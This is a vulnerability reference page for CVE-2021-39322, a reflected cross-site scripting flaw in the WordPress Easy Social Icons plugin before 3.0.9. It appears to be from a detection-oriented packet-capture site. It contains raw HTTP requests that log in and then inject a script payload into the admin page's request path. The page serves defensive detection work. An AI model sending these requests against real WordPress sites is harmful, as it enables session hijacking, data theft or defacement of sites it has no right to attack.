🔙 목록으로 돌아가기

CVE-2021-39322: WordPress Easy Social Icons Plugin < 3.0.9 - Cross-Site Scripting

TitleWordPress Easy Social Icons Plugin < 3.0.9 - Cross-Site Scripting
AuthordhiyaneshDK
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the affected website, leading to potential data theft, session hijacking, or defacement.
RemediationUpdate to the latest version of the WordPress Easy Social Icons Plugin (3.0.9) or apply the vendor-provided patch to mitigate the vulnerability.
CVSS Score6.1
EPSS Score0.13873
CVE IDCVE-2021-39322
CWE IDCWE-79
Tags cve cve2021 wordpress wp-plugin authenticated wpscan cybernetikz vuln

🔍 Vulnerability Description

The Easy Social Icons plugin <= 3.0.8 for WordPress echoes out the raw value of $_SERVER['PHP_SELF'] in its main file. On certain configurations including Apache+modPHP this makes it possible to use it to perform a reflected cross-site scripting attack by injecting malicious code in the request path.

🌐 HTTP Request

POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:8.0) Gecko/20100101 Firefox/8.0
Connection: close
Content-Length: 51
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_test_cookie=WP%20Cookie%20check
Origin: /
Accept-Encoding: gzip

log=sDVb14&pwd=bD25JO&wp-submit=Log+In&testcookie=1
GET /wp-admin/admin.php/%3C/script%3E%3Cscript%3Ealert%28document.domain%29%3C/script%3E/?page=cnss_social_icon_page HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6,2 Safari/605.1.15
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-39322.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-39322.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A